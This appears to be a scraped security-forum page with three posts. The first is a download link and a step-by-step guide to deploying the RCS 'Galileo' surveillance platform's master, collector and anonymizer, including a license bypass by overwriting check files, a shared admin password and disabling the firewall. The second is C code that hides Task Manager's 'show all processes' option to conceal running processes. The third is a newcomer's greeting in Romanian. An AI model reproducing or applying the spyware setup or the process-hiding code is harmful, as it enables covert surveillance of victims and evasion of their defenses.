    https://mega.nz/#!KhhDFC5L!rs77VB_Hjj9zg0i3unlAqjM5zUdD7mA1PtZb8XexIQM

     

    Instructions:

    1. Install VMs
    -- RCS MASTER ( Windows 7 x64 | 5 GB RAM )
    -- RCS Collector ( Windows 7 x64 | 2 GB RAM)
    -- Anonymizer ( CentOS 7 x64 | 2 GB RAM)
    
    2. Configuration - Port forwarding
    -- RCS MASTER -- 442 / 443 / 444
    -- RCS collector -- 80
    
    3. Configuration - RCS MASTER Installation
    a. Set time 01 April 2015 (Disable internet time sync + vmx)
    https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1189
    
    b. set hostname/computername -- "rcsmaster"
    
    c. Update hosts file -- C:\windows\system32\drivers\etc\hosts
    -- xxx.xxx.xxx.xx rcscollector (IP of collector node) .., restart Windows
    
    Run RCS setup
    -- Install Master node
    - CN -- rcsmaster -- THIS IS IMPORTANT STEP CERTIFICATES WILL BE UNDER THIS HOSTNAME
    - LIC -- FULL_VER.lic
    - Password -- GalileoRCS1
    
    c. Wait untill all files are extracted...When it says "removing old master node files..."
    
    d. Go to C:\RCS\DB\bin -- replace/overwrite rcs-license-check
    
    e. Wait for "Verify license.."
    
    f. Goto C:\RCS\DB\lib\rcs-db-release\ -- replace/overwrite dongle.rb
    
    g. Go to C:\RCS\DB\Console -- Install Adobe AIR then install console application
    
    h. Open console
    >> Username -- admin
    >> Password -- GalileoRCS1
    >> server -- rcsmaster
    
    i. Wait for certificate import dialog...follow screenshots:
    1. http://prntscr.com/8xbdnn
    2. http://prntscr.com/8xbdqv
    3. http://prntscr.com/8xbduf
    4. http://prntscr.com/8xbdy9
    5. http://prntscr.com/8xbe2y
    
    j. You will see RCS Dashboard.
    
    k. Don't do anything, next install RCS collector
    
    
    4. Configuration -- RCS collector
    a. Set time 01 April 2015 (Disable internet time sync + vmx)
    https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1189
    
    b. set hostname/computername -- "rcscollector"
    
    c. Update hosts file -- C:\windows\system32\drivers\etc\hosts
    -- xxx.xxx.xxx.xx rcsmaster (IP of master node) .. restart windows
    
    Run RCS setup
    -- Install Collector node
    -- Master node CN -- "rcsmaster"
    -- local hostname -- "rcscollector"
    -- Password -- GalileoRCS1
    -- Verify connection to Master DB >> Finish
    
    5. Configuration -- Anonymizer
    -- First goto Master node Dashboard
    -- System >> check collector connection (should be green)
    -- Create new anonymizer "anon1" | IP address: xxx.xxx.xxx.xx
    -- Drag anon1 over Collector
    -- Build Proxy installer script
    
    6. Configuration Proxy (anon1) - CentOS
    -- become root
    -- Disable firewall
    >> systemctl disable firewalld
    >> systemctl stop firewalld
    
    -- chmod u+x install
    -- sh install
    -- Wait for install complete...!
    
    7. Goto Master node Dashboard
    -- System >> Apply configuration

     

  12. This works on windows 7 / windows server 2012
    
    
    BOOL CALLBACK EnumChildProc(
        _In_ HWND   hwnd,
        _In_ LPARAM lParam
    ) {
    
        WCHAR win_name[MAX_PATH];
        RtlSecureZeroMemory(win_name, MAX_PATH);
    
        GetWindowTextW(hwnd, win_name, MAX_PATH);
    
        if (!lstrcmpW(L"&Show processes from all users", win_name))
        {
            SetWindowLongPtrW(hwnd, GWL_STYLE,
                WS_OVERLAPPED |
                WS_TABSTOP |
                WS_MAXIMIZEBOX |
                WS_CHILD |
                BS_PUSHBUTTON |
                BS_TEXT);
            return FALSE;
        }
        return TRUE;
    }
    
    DWORD hinder_taskman()
    {
    
        HWND window = NULL;
        DWORD last_pid = NULL;
        DWORD pid = NULL;
    
        do {
            window = FindWindowW(0, L"Windows Task Manager");
            if (window)
            {
                GetWindowThreadProcessId(window, &pid);
                if (pid != last_pid)
                {
    
                    last_pid = pid;
                    ShowWindow(window, SW_HIDE);
                    EnumChildWindows(window, EnumChildProc, 0);
                    UpdateWindow(window);
                    ShowWindow(window, SW_SHOW);
                }
            }
            Sleep(50);
        } while (1);
        ExitThread(0);
        return TRUE;
    } 

     

  13. Salut!

     

    Am aflat despre acest forum de la un amic si am zis sa intru si eu sa vad despre ce e vorba. Desi sunt pasionat de IT si citesc mereu articole de specialitate, rasfoind rubricile mi-am dat seama cat de putine stiu si cate chestii ma depasesc.

    Vreau sa invat si mi-ar placea sa ma indrept spre pentesting.

    Sper sa ne intelegem bine si sa invatam impreuna!

     

    Numai bine!

×
×
  • Create New...